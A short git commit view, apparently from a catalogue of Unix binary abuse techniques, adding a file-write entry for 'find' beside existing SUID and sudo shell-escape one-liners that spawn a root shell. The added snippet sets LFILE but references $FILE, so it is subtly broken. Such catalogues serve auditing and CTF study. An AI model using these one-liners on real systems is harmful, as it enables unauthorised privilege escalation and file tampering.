Add find file-write

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
B0nk3rZ 2023-12-02 11:25:56 +01:00 committed by GitHub
parent 83c2ba8335
commit e8e9b2bc4b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -6,4 +6,9 @@ functions:
- code: ./find . -exec /bin/sh -p \; -quit
sudo:
- code: sudo find . -exec /bin/sh \; -quit
file-write:
- description: DATA is a format string, it supports some escape sequences.
code: |
LFILE=file_to_write
find / -fprintf "$FILE" DATA -quit
---